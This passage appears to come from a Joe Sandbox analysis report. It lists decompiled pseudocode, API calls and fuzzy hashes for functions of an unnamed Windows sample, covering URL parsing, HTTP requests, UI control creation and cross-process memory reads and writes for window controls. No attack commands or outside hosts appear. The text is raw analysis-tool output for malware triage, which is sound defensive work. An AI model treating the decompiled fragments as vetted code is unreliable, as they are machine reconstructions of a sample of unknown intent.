                                                                                                                                                                            0x00438b6d
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 004374AF: WriteProcessMemory.KERNEL32(?,?,00000000,00000000,00000000,?,00461142,?), ref: 004374E2
                                                                                                                                                                            • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00438AB8
                                                                                                                                                                              • Part of subcall function 00437472: ReadProcessMemory.KERNEL32(?,00000000,00000000,?,00000000,00000000,00460C33,?,00000000,?,00000202), ref: 004374A5
                                                                                                                                                                            • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00438B2F
                                                                                                                                                                            • SendMessageW.USER32(00000000,00001111,00000000,00000000), ref: 00438BAF
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$MemoryProcess$ReadWrite
                                                                                                                                                                            • String ID: @
                                                                                                                                                                            • API String ID: 4055202900-2766056989
                                                                                                                                                                            • Opcode ID: aff0382c476b5cf7d6aca6f0f11cfbc36414f9c6df0ff7349ef437f2faeb44c6
                                                                                                                                                                            • Instruction ID: 682097a2b5231093ce935cfc9f6f49684b756042c0be5430c67da702d62f7190
                                                                                                                                                                            • Opcode Fuzzy Hash: aff0382c476b5cf7d6aca6f0f11cfbc36414f9c6df0ff7349ef437f2faeb44c6
                                                                                                                                                                            • Instruction Fuzzy Hash: E6518FB2208304ABD310DB64CC81FEFB7A9EFC9714F04591EFA8597181D678F9498B66
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00465D41 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 119networkCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00465D41(void* __eflags, WCHAR* _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v32;
				intOrPtr _v44;
				intOrPtr _v56;
				char _v60;
				void* _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				short _v120;
				intOrPtr _v132;
				char _v144;
				char _v160;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t61;
				void* _t62;
				intOrPtr _t82;
				WCHAR* _t83;

				_t83 = _a4;
				_t82 = _a8;
				E004131F0(_t82,  &_v60, 0, 0x38);
				_v64 = 0x7c;
				_v32 = 1;
				_v44 = 1;
				_v56 = 1;
				_v8 = 1;
				_v16 = 1;
				_v24 = 1;
				if(InternetCrackUrlW(_t83, E004112D5(_t83), 0,  &_v64) != 0) {
					_t79 = _v76;
					E00403FB0(_v72, 1, _t82, _v76, _v76, 0);
					E00403FB0(_v68, 1, _t82 + 0x10, _t79, _v72, 0);
					E00403FB0(_v64, 1, _t82 + 0x20, _t79, _v68, 0);
					_t80 = _v68;
					E00403FB0(_v64, 1, _t82 + 0x30, _v68, _v68, 0);
					_t84 = _t82 + 0x40;
					E00403FB0(_v64, 1, _t82 + 0x40, _t80, _v68, 0);
					_t86 = _t82 + 0x50;
					E00403FB0(_v64, 1, _t82 + 0x50, _t80, _v68, 0);
					E0040DF50(_t82 + 0x60, E0044CD63(__eflags, _t84,  &_v144, _t86));
					E00402620( &_v160);
					 *((short*)(_t82 + 0x78)) = _v120;
					_t61 = _v132;
					 *((intOrPtr*)(_t82 + 0x74)) = _t61;
					_t62 = _t61 - 1;
					__eflags = _t62;
					if(_t62 == 0) {
						 *((intOrPtr*)(_t82 + 0x70)) = 1;
						return 1;
					} else {
						__eflags = _t62 == 1;
						if(_t62 == 1) {
							 *((intOrPtr*)(_t82 + 0x70)) = 2;
							return 1;
						} else {
							 *((intOrPtr*)(_t82 + 0x70)) = 3;
							return 1;
						}
					}
				} else {
					return 0;
				}
			}

























                                                                                                                                                                            0x00465d47
                                                                                                                                                                            0x00465d4c
                                                                                                                                                                            0x00465d59
                                                                                                                                                                            0x00465d6e
                                                                                                                                                                            0x00465d76
                                                                                                                                                                            0x00465d7a
                                                                                                                                                                            0x00465d7e
                                                                                                                                                                            0x00465d82
                                                                                                                                                                            0x00465d86
                                                                                                                                                                            0x00465d8a
                                                                                                                                                                            0x00465da0
                                                                                                                                                                            0x00465dae
                                                                                                                                                                            0x00465dbb
                                                                                                                                                                            0x00465dce
                                                                                                                                                                            0x00465de1
                                                                                                                                                                            0x00465de6
                                                                                                                                                                            0x00465df4
                                                                                                                                                                            0x00465dff
                                                                                                                                                                            0x00465e09
                                                                                                                                                                            0x00465e18
                                                                                                                                                                            0x00465e1e
                                                                                                                                                                            0x00465e33
                                                                                                                                                                            0x00465e3c
                                                                                                                                                                            0x00465e46
                                                                                                                                                                            0x00465e4a
                                                                                                                                                                            0x00465e4e
                                                                                                                                                                            0x00465e51
                                                                                                                                                                            0x00465e51
                                                                                                                                                                            0x00465e53
                                                                                                                                                                            0x00465e7f
                                                                                                                                                                            0x00465e8b
                                                                                                                                                                            0x00465e55
                                                                                                                                                                            0x00465e55
                                                                                                                                                                            0x00465e57
                                                                                                                                                                            0x00465e6c
                                                                                                                                                                            0x00465e7c
                                                                                                                                                                            0x00465e59
                                                                                                                                                                            0x00465e59
                                                                                                                                                                            0x00465e69
                                                                                                                                                                            0x00465e69
                                                                                                                                                                            0x00465e57
                                                                                                                                                                            0x00465da2
                                                                                                                                                                            0x00465dab
                                                                                                                                                                            0x00465dab

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CrackInternet_memset_wcslen
                                                                                                                                                                            • String ID: |
                                                                                                                                                                            • API String ID: 915713708-2343686810
                                                                                                                                                                            • Opcode ID: 07c2940d3d4071da212895ad31b37a6daee595a4810490f232ca297cbb756b96
                                                                                                                                                                            • Instruction ID: 59fb16093b155e5aebf0565036b17e76eaaa1a90c891d08183ce313382d628e9
                                                                                                                                                                            • Opcode Fuzzy Hash: 07c2940d3d4071da212895ad31b37a6daee595a4810490f232ca297cbb756b96
                                                                                                                                                                            • Instruction Fuzzy Hash: AE417EB2754301ABD204EF69DC81B9BF7E8FB88714F00052EF64593290DB75E909CBA6
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0044A7DC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116networkCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 87%
                                                                                                                                                                            			E0044A7DC(void* __ebp, intOrPtr _a4) {
				intOrPtr _v16;
				long _v36;
				long _v40;
				char _v52;
				intOrPtr _v60;
				void* _v64;
				char _v76;
				char _v80;
				char _v96;
				char _v100;
				char _v112;
				char _v120;
				void* _t26;
				void* _t35;
				void* _t38;
				void* _t41;
				void* _t55;
				void* _t57;
				intOrPtr _t58;

				_t58 = _a4;
				_t57 = InternetOpenUrlW( *(_t58 + 4),  *(_t58 + 0x20), 0, 0,  *(_t58 + 0x54) & 0x80000000, 0);
				_v64 = _t57;
				_v60 =  *0x482748;
				if(_t57 != 0) {
					E00442AA9(_t58, _t57, _v16);
					if(HttpSendRequestW(_t57, 0, 0, 0, 0) == 0 || E00434A55(_t57) != 0xc8) {
						_push(0);
						_t26 = E0044286A(_t58, 0x2a, 0xdeadbeef);
						E004349C7( &_v100);
						return _t26;
					} else {
						_t55 =  &_v76;
						_v40 = 0;
						_v36 = 0x20;
						HttpQueryInfoW(_t57, 5, _t55,  &_v36,  &_v40);
						 *((intOrPtr*)(_t58 + 0x10)) = E0041343C( &_v96);
						 *(_t58 + 0x14) = _t55;
						if(_v52 == 0) {
							_push(1);
							_t35 = E0044286A(_t58, 0, 0);
							E004349C7( &_v120);
							return _t35;
						} else {
							_t38 = E00442A81(_t55, __ebp, _t58, _t57);
							E004349C7( &_v112);
							return _t38;
						}
					}
				} else {
					_push(_t57);
					_t41 = E0044286A(_t58, 0x29, 0xdeadbeef);
					E004349C7( &_v80);
					return _t41;
				}
			}






















                                                                                                                                                                            0x0044a7e1
                                                                                                                                                                            0x0044a804
                                                                                                                                                                            0x0044a80b
                                                                                                                                                                            0x0044a80f
                                                                                                                                                                            0x0044a815
                                                                                                                                                                            0x0044a843
                                                                                                                                                                            0x0044a859
                                                                                                                                                                            0x0044a8f3
                                                                                                                                                                            0x0044a8fd
                                                                                                                                                                            0x0044a909
                                                                                                                                                                            0x0044a916
                                                                                                                                                                            0x0044a870
                                                                                                                                                                            0x0044a87a
                                                                                                                                                                            0x0044a882
                                                                                                                                                                            0x0044a88a
                                                                                                                                                                            0x0044a892
                                                                                                                                                                            0x0044a8aa
                                                                                                                                                                            0x0044a8ad
                                                                                                                                                                            0x0044a8b0
                                                                                                                                                                            0x0044a8d0
                                                                                                                                                                            0x0044a8d7
                                                                                                                                                                            0x0044a8e3
                                                                                                                                                                            0x0044a8f0
                                                                                                                                                                            0x0044a8b2
                                                                                                                                                                            0x0044a8b4
                                                                                                                                                                            0x0044a8c0
                                                                                                                                                                            0x0044a8cd
                                                                                                                                                                            0x0044a8cd
                                                                                                                                                                            0x0044a8b0
                                                                                                                                                                            0x0044a817
                                                                                                                                                                            0x0044a817
                                                                                                                                                                            0x0044a820
                                                                                                                                                                            0x0044a82c
                                                                                                                                                                            0x0044a839
                                                                                                                                                                            0x0044a839

                                                                                                                                                                            APIs
                                                                                                                                                                            • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0044A7FE
                                                                                                                                                                            • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044A851
                                                                                                                                                                            • HttpQueryInfoW.WININET ref: 0044A892
                                                                                                                                                                              • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Http$ErrorInfoInternetLastOpenQueryRequestSend
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3705125965-3916222277
                                                                                                                                                                            • Opcode ID: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                                                                                                                                                                            • Instruction ID: e2ea4e726a01332d61d4ddbc0b4be6fd5f15ca60b5c099a75bcf819f780d651a
                                                                                                                                                                            • Opcode Fuzzy Hash: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                                                                                                                                                                            • Instruction Fuzzy Hash: F431C6B56813416BE320EB16DC42F9FB7E8EFD9714F00091FF65057281D7A8A50D876A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00451191 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00451191(intOrPtr _a4, struct HWND__** _a8, intOrPtr _a12, long _a16, int _a20, int _a24, int _a28, int _a32, signed int _a36, intOrPtr _a40) {
				void* _t16;
				struct HWND__* _t17;
				int _t25;
				long _t28;
				int _t34;
				struct HWND__** _t35;
				intOrPtr _t36;

				_t14 = _a36;
				_t25 = _a28;
				_t36 = _a40;
				_t35 = _a8;
				_t34 = _a32;
				if(_a36 == 0xffffffff) {
					_t14 = 0xa00002;
				}
				_t16 = E004491CB(_t14 | 0x00010001);
				if(_t36 == 0xffffffff) {
					_t36 = 0x200;
				}
				if(_t25 == 0xffffffff) {
					_t25 = 0xc8;
				}
				if(_t34 == 0xffffffff) {
					_t34 = 0x96;
				}
				_t17 = E0043362D(_a4, _t36, L"Listbox", 0, _t16, _a20, _a24, _t25, _t34, _a12, 1);
				 *_t35 = _t17;
				if(_t17 != 0) {
					_t28 = _a16;
					if( *_t28 != 0) {
						SendMessageW(_t17, 0x180, 0, _t28);
						SendMessageW( *_t35, 0x186, 0, 0);
					}
					if( *0x4a83e0 == 0) {
						_t35[0x1f] = 1;
					}
					MoveWindow( *_t35, _a20, _a24, _t25, _t34, 0);
					return 1;
				} else {
					return 0;
				}
			}










                                                                                                                                                                            0x00451191
                                                                                                                                                                            0x00451196
                                                                                                                                                                            0x0045119b
                                                                                                                                                                            0x004511a0
                                                                                                                                                                            0x004511a5
                                                                                                                                                                            0x004511ac
                                                                                                                                                                            0x004511ae
                                                                                                                                                                            0x004511ae
                                                                                                                                                                            0x004511b9
                                                                                                                                                                            0x004511c1
                                                                                                                                                                            0x004511c3
                                                                                                                                                                            0x004511c3
                                                                                                                                                                            0x004511cb
                                                                                                                                                                            0x004511cd
                                                                                                                                                                            0x004511cd
                                                                                                                                                                            0x004511d5
                                                                                                                                                                            0x004511d7
                                                                                                                                                                            0x004511d7
                                                                                                                                                                            0x004511fd
                                                                                                                                                                            0x00451202
                                                                                                                                                                            0x00451206
                                                                                                                                                                            0x00451211
                                                                                                                                                                            0x00451219
                                                                                                                                                                            0x0045122a
                                                                                                                                                                            0x00451238
                                                                                                                                                                            0x00451238
                                                                                                                                                                            0x00451241
                                                                                                                                                                            0x00451248
                                                                                                                                                                            0x00451248
                                                                                                                                                                            0x0045125d
                                                                                                                                                                            0x00451269
                                                                                                                                                                            0x0045120b
                                                                                                                                                                            0x0045120e
                                                                                                                                                                            0x0045120e

                                                                                                                                                                            APIs
                                                                                                                                                                            • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 0045122A
                                                                                                                                                                            • SendMessageW.USER32(00000000,00000186,00000000,00000000), ref: 00451238
                                                                                                                                                                            • MoveWindow.USER32(?,?,00000000,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 0045125D
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$MoveWindow
                                                                                                                                                                            • String ID: Listbox
                                                                                                                                                                            • API String ID: 3315199576-2633736733
                                                                                                                                                                            • Opcode ID: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                                                                                                                                                                            • Instruction ID: bfe1e9b3800f224edd0053b2d0d87a77da448e7bf5b17050dc61905274d7532a
                                                                                                                                                                            • Opcode Fuzzy Hash: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                                                                                                                                                                            • Instruction Fuzzy Hash: E421D3712043047BE6209A65DC81F6BB3E8EBCD735F104B1EFA60A72D1C675EC458729
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004412AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowlibraryCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 75%
                                                                                                                                                                            			E004412AE(intOrPtr _a4, struct HWND__** _a8, intOrPtr _a12, WCHAR* _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, signed int _a36, long _a40) {
				signed int _t12;
				struct HWND__* _t15;
				int _t19;
				WCHAR* _t23;
				intOrPtr _t24;
				intOrPtr _t28;
				struct HWND__** _t36;

				_t12 = _a36;
				_t28 = _a32;
				_t24 = _a28;
				_t23 = _a16;
				_t36 = _a8;
				if(_t12 != 0xffffffff) {
					if(_t12 < 0x10) {
						goto L3;
					}
				} else {
					_t12 = 2;
					L3:
					_t12 = _t12 | 0x00000002;
				}
				if(_t24 == 0xffffffff) {
					_t24 = 0x96;
				}
				if(_t28 == 0xffffffff) {
					_t28 = 0x96;
				}
				if( *_t23 == 0) {
					return 0;
				} else {
					_t15 = E0043362D(_a4, 0, L"SysAnimate32", 0, _t12, _a20, _a24, _t24, _t28, _a12, 0);
					 *_t36 = _t15;
					if(_t15 == 0) {
						L14:
						return 0;
					} else {
						if(SendMessageW(_t15, 0x467, 0, _t23) != 0) {
							L15:
							if( *0x4a83e0 == 0) {
								_t36[0x1f] = 0x300;
							}
							return 1;
						} else {
							_t19 = LoadLibraryW(_t23);
							if(_t19 == 0 || SendMessageW( *_t36, 0x467, _t19, _a40) != 0) {
								goto L15;
							} else {
								 *0x482604( *_t36);
								goto L14;
							}
						}
					}
				}
			}










                                                                                                                                                                            0x004412ae
                                                                                                                                                                            0x004412b2
                                                                                                                                                                            0x004412b6
                                                                                                                                                                            0x004412bb
                                                                                                                                                                            0x004412c0
                                                                                                                                                                            0x004412c7
                                                                                                                                                                            0x004412d3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004412c9
                                                                                                                                                                            0x004412c9
                                                                                                                                                                            0x004412d5
                                                                                                                                                                            0x004412d5
                                                                                                                                                                            0x004412d5
                                                                                                                                                                            0x004412db
                                                                                                                                                                            0x004412dd
                                                                                                                                                                            0x004412dd
                                                                                                                                                                            0x004412e5
                                                                                                                                                                            0x004412e7
                                                                                                                                                                            0x004412e7
                                                                                                                                                                            0x004412f0
                                                                                                                                                                            0x00441387
                                                                                                                                                                            0x004412f6
                                                                                                                                                                            0x00441319
                                                                                                                                                                            0x0044131e
                                                                                                                                                                            0x00441322
                                                                                                                                                                            0x00441361
                                                                                                                                                                            0x00441366
                                                                                                                                                                            0x00441324
                                                                                                                                                                            0x00441337
                                                                                                                                                                            0x00441369
                                                                                                                                                                            0x00441370
                                                                                                                                                                            0x00441377
                                                                                                                                                                            0x00441377
                                                                                                                                                                            0x00441380
                                                                                                                                                                            0x00441339
                                                                                                                                                                            0x0044133a
                                                                                                                                                                            0x00441342
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00441358
                                                                                                                                                                            0x0044135b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044135b
                                                                                                                                                                            0x00441342
                                                                                                                                                                            0x00441337
                                                                                                                                                                            0x00441322

                                                                                                                                                                            APIs
                                                                                                                                                                            • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00441333
                                                                                                                                                                            • LoadLibraryW.KERNEL32(?,?,?,?,0047B4D0,?,?,?,?,?,?,?,?,?,00000000), ref: 0044133A
                                                                                                                                                                            • SendMessageW.USER32(?,00000467,00000000,?), ref: 00441352
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$LibraryLoad
                                                                                                                                                                            • String ID: SysAnimate32
                                                                                                                                                                            • API String ID: 3205928328-1011021900
                                                                                                                                                                            • Opcode ID: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                                                                                                                                                                            • Instruction ID: 28effd0bdeb99d0e0a50349a2d6ccdc4655b9339127a2247ff1827a793b197f6
                                                                                                                                                                            • Opcode Fuzzy Hash: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                                                                                                                                                                            • Instruction Fuzzy Hash: D0216271204301ABF7209AA5DC84F6B73ECEBD9724F104A1EF651D72E0D6B4DC818729
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004609BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 83%
                                                                                                                                                                            			E004609BD(void* __ebx, void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				short _v524;
				char _v540;
				void* __edi;
				void* __esi;
				struct HWND__* _t18;
				void* _t38;
				intOrPtr _t45;
				intOrPtr _t46;

				_t38 = __ecx;
				_t47 = _a12;
				_t46 = _a4;
				_t45 = _a8;
				E004021E0(_a12, __ebx, __edx, 0x4848e8);
				E004389A1(_t45, 1);
				_t18 = GetFocus();
				 *(_t46 + 0xd8) = _t18;
				if(_t18 == 0 || E004389EB(_t18, _t45) == 0) {
					E004389A1(_t45, 0);
					return 0;
				} else {
					E0044CC94(__ebx, _t38, _t45, _t46,  *(_t46 + 0xd8));
					 *((intOrPtr*)(_t46 + 0xd4)) = _t45;
					GetClassNameW( *(_t46 + 0xd8),  &_v524, 0x100);
					E004021E0(_t46 + 0x8c, _t46 + 0x8c,  *(_t46 + 0xd8),  &_v524);
					 *((intOrPtr*)(_t46 + 0x130)) = 0;
					 *0x48263c(_t45, 0x445a31, _t46, __ebx);
					_push( *((intOrPtr*)(_t46 + 0x130)));
					E0041353A( *_t36, _t45, _t46,  &_v540, L"%s%d",  *_t36);
					E004021E0(_t47, _t36,  *_t36,  &_v540);
					E004389A1(_t45, 0);
					return 1;
				}
			}











                                                                                                                                                                            0x004609bd
                                                                                                                                                                            0x004609c4
                                                                                                                                                                            0x004609cc
                                                                                                                                                                            0x004609d4
                                                                                                                                                                            0x004609e2
                                                                                                                                                                            0x004609ea
                                                                                                                                                                            0x004609ef
                                                                                                                                                                            0x004609f5
                                                                                                                                                                            0x004609fd
                                                                                                                                                                            0x00460aa8
                                                                                                                                                                            0x00460ab8
                                                                                                                                                                            0x00460a12
                                                                                                                                                                            0x00460a1b
                                                                                                                                                                            0x00460a31
                                                                                                                                                                            0x00460a37
                                                                                                                                                                            0x00460a4a
                                                                                                                                                                            0x00460a56
                                                                                                                                                                            0x00460a60
                                                                                                                                                                            0x00460a6e
                                                                                                                                                                            0x00460a7a
                                                                                                                                                                            0x00460a89
                                                                                                                                                                            0x00460a91
                                                                                                                                                                            0x00460aa2
                                                                                                                                                                            0x00460aa2

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                              • Part of subcall function 004389A1: SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                                                                                                                                                              • Part of subcall function 004389A1: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                                                                                                                                                              • Part of subcall function 004389A1: GetCurrentThreadId.KERNEL32 ref: 004389DA
                                                                                                                                                                              • Part of subcall function 004389A1: AttachThreadInput.USER32(00000000), ref: 004389E1
                                                                                                                                                                            • GetFocus.USER32 ref: 004609EF
                                                                                                                                                                              • Part of subcall function 004389EB: GetParent.USER32(?), ref: 004389F7
                                                                                                                                                                              • Part of subcall function 004389EB: GetParent.USER32(?), ref: 00438A04
                                                                                                                                                                            • GetClassNameW.USER32(?,?,00000100), ref: 00460A37
                                                                                                                                                                            • __swprintf.LIBCMT ref: 00460A7A
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Thread$Parent$AttachClassCurrentFocusInputMessageNameProcessSendTimeoutWindow__swprintf_wcslen
                                                                                                                                                                            • String ID: %s%d
                                                                                                                                                                            • API String ID: 2272629743-1110647743
